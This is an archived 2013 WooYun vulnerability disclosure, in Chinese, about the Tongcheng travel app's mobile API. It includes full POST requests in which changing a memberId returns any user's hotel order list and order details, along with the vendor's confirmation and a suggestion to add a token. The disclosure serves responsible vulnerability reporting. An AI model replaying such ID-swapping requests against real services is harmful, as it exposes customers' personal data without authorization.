乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-11-30: 细节已通知厂商并且等待厂商处理中 2013-12-03: 厂商已经确认,细节仅向厂商公开 2013-12-13: 细节向核心白帽子及相关领域专家公开 2013-12-23: 细节向普通白帽子公开 2014-01-02: 细节向实习白帽子公开 2014-01-14: 细节向公众公开
来求礼物的~
问题在同程旅游网的app端,可查询任意用户的订单,导致可泄漏大量用户敏感信息~查询用户的订单列表,这里修改用户id就可以了:
POST http://tcmobileapi.17usoft.com/MobileAPI/hotel/orderhandler.ashx HTTP/1.1Host: tcmobileapi.17usoft.comConnection: closeAccept-Encoding: gzipContent-Length: 518Connection: closeAccept-Language: zh-cnCookie: BIGipServertcmobileapi-pool=48667xxxxxxxxxxx.0000User-Agent: TongchengRequest{"request":{"header":{"reqTime":"2013-11-30 21:47:40.146","accountID":"5eexxx9-b8c6-4xxf-8b87-3c38xxxx68a","version":"20110303090115","serviceName":"GetHotelOrderList","digitalSign":"1C296BFCxxxxxxxxxD9C8DCB24"},"body":{"refId":"5866741","page":"1","memberId":"1xxxxx9","orderType":"0","clientInfo":{"clientIp":"1.1.1.1","refId":"5866741","versionType":"iPhone","versionNumber":"5.3.0","deviceId":"DC4D7xx4-3xx0-40xB-AB83-D7E9xxxxA40C"},"pageSize":"10","deviceId":"DC4Dxx4-3Cxx0-4xEB-AB83-D7E9xxxxx40C"}}}
如我们获取在上个洞子发现的id为953819的用户的订单信息;
获取用户某个订单的具体信息,查询数据包如下,但是这里需要memberId和orderSerialId相对应,但是我们在上面已经获取了用户的订单列表,自然就能够查询用户的订单详情了;
POST http://tcmobileapi.17usoft.com/MobileAPI/hotel/orderhandler.ashx HTTP/1.1Host: tcmobileapi.17usoft.comConnection: closeAccept-Encoding: gzipContent-Length: 518Connection: closeAccept-Language: zh-cnCookie: BIGipServertcmobileapi-pool=486674xxxxx0.0000User-Agent: TongchengRequest{"request":{"header":{"reqTime":"2013-11-30 21:59:25.339","accountID":"5ee7b429-b8c6-400f-8b87-3c384c4ea68a","version":"20110303090115","serviceName":"GetHotelOrderDetail","digitalSign":"376CB32B5xxxxxEE4700225C"},"body":{"memberId":"1xxxxx00","refId":"5866741","orderSerialId":"hh5xxxxxxd703","clientInfo":{"clientIp":"1.1.1.1","refId":"5866741","versionType":"iPhone","versionNumber":"5.3.0","deviceId":"DC4xx4-3C50-40xB-ABx3-D7E9DxxxxA40C"},"deviceId":"DCxxx94-3C50-4xxB-ABx3-D7E9xxxxA40C"}}}
PS:这里就不一一截图了,求礼物~
见详细说明
还是各种校验,建议加入随机生成的token
危害等级:高
漏洞Rank:10
确认时间:2013-12-03 11:02
感谢馒头,已经确认,正在修复中
暂无